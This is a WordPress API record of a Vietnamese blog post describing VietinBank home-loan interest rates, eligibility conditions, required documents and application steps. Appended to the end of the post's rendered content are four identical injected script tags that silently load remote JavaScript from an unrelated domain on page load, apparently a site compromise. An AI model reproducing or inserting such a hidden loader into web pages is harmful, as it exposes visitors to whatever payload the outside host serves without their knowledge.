{"id":39006,"date":"2023-08-10T15:31:31","date_gmt":"2023-08-10T08:31:31","guid":{"rendered":"https:\/\/reti.vn\/blog\/?p=39006"},"modified":"2025-10-22T04:14:05","modified_gmt":"2025-10-21T21:14:05","slug":"lai-suat-vay-mua-nha-ngan-hang-vietinbank-2023","status":"publish","type":"post","link":"https:\/\/reti.vn\/blog\/lai-suat-vay-mua-nha-ngan-hang-vietinbank-2023\/","title":{"rendered":"La\u0303i su\u00e2\u0301t vay mua nha\u0300 ng\u00e2n ha\u0300ng VietinBank 2023"},"content":{"rendered":"<div class=\"max_width left roboto-light program_detail_bank_me\">\n<p><strong>Vay mua nh\u00e0 ng\u00e2n ha\u0300ng VietinBank h\u1ed7 tr\u1ee3 kh\u00e1ch h\u00e0ng vay \u0111\u1ebfn 80% nhu c\u1ea7u v\u1ed1n, trong th\u1eddi h\u1ea1n t\u1ed1i \u0111a l\u00ean \u0111\u1ebfn 20 n\u0103m. \u0110\u00e2y l\u00e0 gi\u1ea3i ph\u00e1p t\u00e0i ch\u00ednh \u01b0u vi\u1ec7t gi\u00fap b\u1ea1n s\u1edf h\u1eefu c\u0103n h\u1ed9 m\u01a1 \u01b0\u1edbc ngay c\u1ea3 khi ch\u01b0a ti\u1ebft ki\u1ec7m \u0111\u1ee7 ti\u1ec1n.<\/strong><\/p>\n<figure id=\"attachment_39009\" aria-describedby=\"caption-attachment-39009\" style=\"width: 500px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/vay-mua-nha-1.jpg\" rel=\"lightbox-0\"><img decoding=\"async\" class=\"size-full wp-image-39009 lazyload\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/vay-mua-nha-1.jpg\" alt=\"VietinBank \u01b0u \u0111\u00e3i 2% l\u00e3i su\u1ea5t cho ch\u1ee7 \u0111\u1ea7u t\u01b0 v\u00e0 ng\u01b0\u1eddi mua nh\u00e0\" width=\"500\" height=\"643\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/vay-mua-nha-1.jpg 500w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/vay-mua-nha-1-233x300.jpg 233w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/vay-mua-nha-1-150x193.jpg 150w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/vay-mua-nha-1-300x386.jpg 300w\" data-sizes=\"(max-width: 500px) 100vw, 500px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 500px; --smush-placeholder-aspect-ratio: 500\/643;\" \/><\/a><figcaption id=\"caption-attachment-39009\" class=\"wp-caption-text\">VietinBank \u01b0u \u0111\u00e3i 2% l\u00e3i su\u1ea5t cho ch\u1ee7 \u0111\u1ea7u t\u01b0 v\u00e0 ng\u01b0\u1eddi mua nh\u00e0<\/figcaption><\/figure>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_83 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">N\u1ed9i dung b\u00e0i vi\u1ebft<\/p>\n<label for=\"ez-toc-cssicon-toggle-item-69ffbf7c5a531\" class=\"ez-toc-cssicon-toggle-label\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/label><input type=\"checkbox\"  id=\"ez-toc-cssicon-toggle-item-69ffbf7c5a531\"  aria-label=\"Toggle\" \/><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/reti.vn\/blog\/lai-suat-vay-mua-nha-ngan-hang-vietinbank-2023\/#Lai_suat_vay_mua_nha_ngan_ha%CC%80ng_VietinBank\" >L\u00e3i su\u1ea5t vay mua nh\u00e0 ng\u00e2n ha\u0300ng VietinBank<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/reti.vn\/blog\/lai-suat-vay-mua-nha-ngan-hang-vietinbank-2023\/#Dieu_kien_vay_mua_nha_du_an_ngan_hang_VietinBank\" >\u0110i\u1ec1u ki\u1ec7n vay mua nh\u00e0 d\u1ef1 \u00e1n ng\u00e2n h\u00e0ng VietinBank<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/reti.vn\/blog\/lai-suat-vay-mua-nha-ngan-hang-vietinbank-2023\/#Thu_tuc_ho_so_vay_mua_nha_du_an_VietinBank\" >Th\u1ee7 t\u1ee5c, h\u1ed3 s\u01a1 vay mua nh\u00e0 d\u1ef1 \u00e1n VietinBank<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/reti.vn\/blog\/lai-suat-vay-mua-nha-ngan-hang-vietinbank-2023\/#Quy_trinh_vay_mua_nha_tai_ngan_hang_VietinBank\" >Quy tr\u00ecnh vay mua nh\u00e0 t\u1ea1i ng\u00e2n h\u00e0ng VietinBank<\/a><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"Lai_suat_vay_mua_nha_ngan_ha%CC%80ng_VietinBank\"><\/span><strong>L\u00e3i su\u1ea5t vay mua nh\u00e0 ng\u00e2n ha\u0300ng VietinBank<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><strong>L\u00e3i su\u1ea5t vay mua nh\u00e0 d\u1ef1 \u00e1n cu\u0309a ng\u00e2n ha\u0300ng VietinBank giao \u0111\u1ed9ng t\u1eeb 10% &#8211; 12%\/n\u0103m.<\/strong> Sau th\u1eddi gian \u01b0u \u0111\u00e3i, l\u00e3i su\u1ea5t s\u1ebd \u0111\u01b0\u1ee3c t\u00ednh b\u1eb1ng c\u00f4ng th\u1ee9c: L\u00e3i su\u1ea5t sau \u01b0u \u0111\u00e3i = LSTK 36T + bi\u00ean \u0111\u1ed9 l\u00e3i su\u1ea5t (giao \u0111\u1ed9ng t\u1eeb 3,5%).<\/p>\n<p>Tuy nhi\u00ean, m\u1ee9c l\u00e3i su\u1ea5t tr\u00ean ch\u1ec9 mang t\u00ednh ch\u1ea5p tham kh\u1ea3o v\u00e0 \u0111\u01b0\u1ee3c \u0111i\u1ec1u ch\u1ec9nh theo ch\u00ednh s\u00e1ch vay v\u1ed1n c\u1ee7a VietinBank trong t\u1eebng th\u1eddi k\u1ef3.<\/p>\n<div class=\"child_tab_content dieu_kien_vay\">\n<div class=\"roboto-light\">\n<h2><span class=\"ez-toc-section\" id=\"Dieu_kien_vay_mua_nha_du_an_ngan_hang_VietinBank\"><\/span><strong>\u0110i\u1ec1u ki\u1ec7n vay mua nh\u00e0 d\u1ef1 \u00e1n ng\u00e2n h\u00e0ng VietinBank<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>\u0110\u1ec3 vay mua nh\u00e0 d\u1ef1 \u00e1n ng\u00e2n h\u00e0ng VietinBank, kh\u00e1ch h\u00e0ng c\u1ea7n \u0111\u00e1p \u1ee9ng \u0111\u01b0\u1ee3c c\u00e1c \u0111i\u1ec1u ki\u1ec7n sau:<\/p>\n<ul>\n<li>C\u00f3 v\u1ed1n t\u1ef1 c\u00f3 tham gia th\u1ef1c hi\u1ec7n ph\u01b0\u01a1ng \u00e1n<\/li>\n<li>M\u1ee5c \u0111\u00edch vay v\u1ed1n ph\u1ee5c v\u1ee5 nhu c\u1ea7u \u0111\u1eddi s\u1ed1ng<\/li>\n<li>\u0110i\u1ec1u ki\u1ec7n kh\u00e1c theo quy \u0111\u1ecbnh c\u1ee7a\u00a0VietinBank\u00a0trong t\u1eebng th\u1eddi k\u1ef3.<\/li>\n<\/ul>\n<\/div>\n<\/div>\n<div class=\"child_tab_content thu_tuc_ho_so\">\n<div class=\"roboto-light\">\n<h2><span class=\"ez-toc-section\" id=\"Thu_tuc_ho_so_vay_mua_nha_du_an_VietinBank\"><\/span><strong>Th\u1ee7 t\u1ee5c, h\u1ed3 s\u01a1 vay mua nh\u00e0 d\u1ef1 \u00e1n VietinBank<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>\u0110\u1ec3 vay mua nh\u00e0 d\u1ef1 \u00e1n ng\u00e2n h\u00e0ng VietinBank, kh\u00e1ch h\u00e0ng c\u1ea7n chu\u1ea9n b\u1ecb c\u00e1c lo\u1ea1i gi\u1ea5y t\u1edd sau:<\/p>\n<ul>\n<li>CMTND\/CCCD\/H\u1ed9 chi\u1ebfu<\/li>\n<li>S\u1ed5 h\u1ed9 kh\u1ea9u<\/li>\n<li>\u0110\u0103ng k\u00fd k\u1ebft h\u00f4n\/X\u00e1c nh\u1eadn \u0111\u1ed9c th\u00e2n<\/li>\n<li>Gi\u1ea5y \u0111\u1ec1 ngh\u1ecb vay v\u1ed1n ki\u00eam ph\u01b0\u01a1ng \u00e1n vay, tr\u1ea3 n\u1ee3 (theo m\u1eabu t\u1ea1i ng\u00e2n h\u00e0ng VietinBank)<\/li>\n<li>T\u00e0i li\u1ec7u ch\u1ee9ng minh ngu\u1ed3n tr\u1ea3 n\u1ee3 (H\u1ee3p \u0111\u1ed3ng lao \u0111\u1ed9ng, sao k\u00ea l\u01b0\u01a1ng, sao k\u00ea thu nh\u1eadp&#8230;)<\/li>\n<li>T\u00e0i li\u1ec7u ch\u1ee9ng minh m\u1ee5c \u0111\u00edch s\u1eed d\u1ee5ng v\u1ed1n vay (H\u1ee3p \u0111\u1ed3ng mua b\u00e1n, Gi\u1ea5y ch\u1ee9ng nh\u1eadn quy\u1ec1n s\u1eed d\u1ee5ng \u0111\u1ea5t, Gi\u1ea5y ph\u00e9p x\u00e2y d\u1ef1ng s\u1eeda ch\u1eefa&#8230;)<\/li>\n<li>C\u00e1c h\u1ed3 s\u01a1 kh\u00e1c theo quy \u0111\u1ecbnh c\u1ee7a VietinBank<\/li>\n<\/ul>\n<p><a href=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/vay-mua-nha-vietinba-4029.jpg\" rel=\"lightbox-1\"><img decoding=\"async\" class=\"aligncenter size-full wp-image-39010 lazyload\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/vay-mua-nha-vietinba-4029.jpg\" alt=\"\" width=\"620\" height=\"324\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/vay-mua-nha-vietinba-4029.jpg 620w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/vay-mua-nha-vietinba-4029-300x157.jpg 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/vay-mua-nha-vietinba-4029-150x78.jpg 150w\" data-sizes=\"(max-width: 620px) 100vw, 620px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 620px; --smush-placeholder-aspect-ratio: 620\/324;\" \/><\/a><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Quy_trinh_vay_mua_nha_tai_ngan_hang_VietinBank\"><\/span><strong><span id=\"Quy_trinh_vay_mua_nha_tai_ngan_hang_VietinBank\">Quy tr\u00ecnh vay mua nh\u00e0 t\u1ea1i ng\u00e2n h\u00e0ng VietinBank<\/span><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Kh\u00e1ch h\u00e0ng c\u00f3 nhu c\u1ea7u vay v\u1ed1n \u0111\u1ec3 mua nh\u00e0 tr\u1ea3 g\u00f3p VietinBank th\u00ec c\u1ea7n ph\u1ea3i th\u1ef1c hi\u1ec7n theo quy tr\u00ecnh d\u01b0\u1edbi \u0111\u00e2y:<\/p>\n<p>B\u01b0\u1edbc 1: Kh\u00e1ch h\u00e0ng chu\u1ea9n h\u1ed3 s\u01a1 vay v\u1ed1n theo y\u00eau c\u1ea7u c\u1ee7a ng\u00e2n h\u00e0ng.<\/p>\n<p>B\u01b0\u1edbc 2: Mang h\u1ed3 s\u01a1 \u0111\u1ebfn chi nh\u00e1nh\/ph\u00f2ng giao d\u1ecbch VietinBank g\u1ea7n nh\u1ea5t. Nh\u00e2n vi\u00ean ng\u00e2n h\u00e0ng s\u1ebd ti\u1ebfp nh\u1eadn y\u00eau c\u1ea7u c\u1ee7a kh\u00e1ch h\u00e0ng.<\/p>\n<p>B\u01b0\u1edbc 3: X\u00e1c minh th\u00f4ng tin d\u1ef1a tr\u00ean h\u1ed3 s\u01a1 kh\u00e1ch h\u00e0ng cung c\u1ea5p, b\u00ean c\u1ea1nh \u0111\u00f3 \u0111\u1ecbnh gi\u00e1 t\u00e0i s\u1ea3n kh\u00e1ch h\u00e0ng th\u1ebf ch\u1ea5p.<\/p>\n<p>B\u01b0\u1edbc 4: Tr\u01b0\u1eddng h\u1ee3p h\u1ed3 s\u01a1 c\u1ee7a kh\u00e1ch h\u00e0ng \u0111\u1ea1t \u0111i\u1ec1u ki\u1ec7n, ng\u00e2n h\u00e0ng s\u1ebd ra th\u00f4ng b\u00e1o cho vay bao g\u1ed3m s\u1ed1 ti\u1ec1n vay, th\u1eddi gian vay k\u00e8m l\u00e3i su\u1ea5t.<\/p>\n<p>B\u01b0\u1edbc 5: Ra c\u00f4ng ch\u1ee9ng ba b\u00ean v\u00e0 gi\u1ea3i ng\u00e2n theo quy \u0111\u1ecbnh c\u1ee7a ng\u00e2n h\u00e0ng.<\/p>\n<p>Tr\u00ean \u0111\u00e2y l\u00e0 to\u00e0n b\u1ed9 th\u00f4ng tin chi ti\u1ebft li\u00ean quan \u0111\u1ebfn s\u1ea3n ph\u1ea9m vay mua nh\u00e0 VietinBank. V\u1edbi \u01b0u \u0111\u00e3i v\u1ec1 l\u00e3i su\u1ea5t, th\u1eddi gian vay k\u00e9o d\u00e0i, vay mua nh\u00e0 t\u1ea1i VietinBank s\u1ebd l\u00e0 gi\u1ea3i ph\u00e1p \u0111\u00e1ng \u0111\u1ec3 kh\u00e1ch h\u00e0ng c\u00e2n nh\u1eafc.<\/p>\n<p>Xem th\u00eam ca\u0301c go\u0301i vay cu\u0309a ng\u00e2n ha\u0300ng kha\u0301c:<\/p>\n<p><a href=\"https:\/\/reti.vn\/blog\/lai-suat-vay-mua-nha-ngan-hang-vpbank\/\">La\u0303i su\u00e2\u0301t vay mua nha\u0300 ng\u00e2n ha\u0300ng VPBank h\u00f4m nay<\/a><\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Vay mua nh\u00e0 ng\u00e2n ha\u0300ng VietinBank h\u1ed7 tr\u1ee3 kh\u00e1ch h\u00e0ng vay \u0111\u1ebfn 80% nhu c\u1ea7u v\u1ed1n, trong th\u1eddi h\u1ea1n t\u1ed1i \u0111a l\u00ean \u0111\u1ebfn 20 n\u0103m. \u0110\u00e2y l\u00e0 gi\u1ea3i ph\u00e1p t\u00e0i ch\u00ednh \u01b0u vi\u1ec7t gi\u00fap b\u1ea1n s\u1edf h\u1eefu c\u0103n h\u1ed9 m\u01a1 \u01b0\u1edbc ngay c\u1ea3 khi ch\u01b0a ti\u1ebft ki\u1ec7m \u0111\u1ee7 ti\u1ec1n. L\u00e3i su\u1ea5t vay mua nh\u00e0 ng\u00e2n [&hellip;]<\/p>\n","protected":false},"author":36,"featured_media":39010,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"tdm_status":"","tdm_grid_status":"","footnotes":""},"categories":[825],"tags":[],"class_list":{"0":"post-39006","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-tin-tong-hop"},"external_url":"","featured_image_url":"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/vay-mua-nha-vietinba-4029.jpg","_links":{"self":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/39006","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/users\/36"}],"replies":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/comments?post=39006"}],"version-history":[{"count":0,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/39006\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media\/39010"}],"wp:attachment":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media?parent=39006"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/categories?post=39006"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/tags?post=39006"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}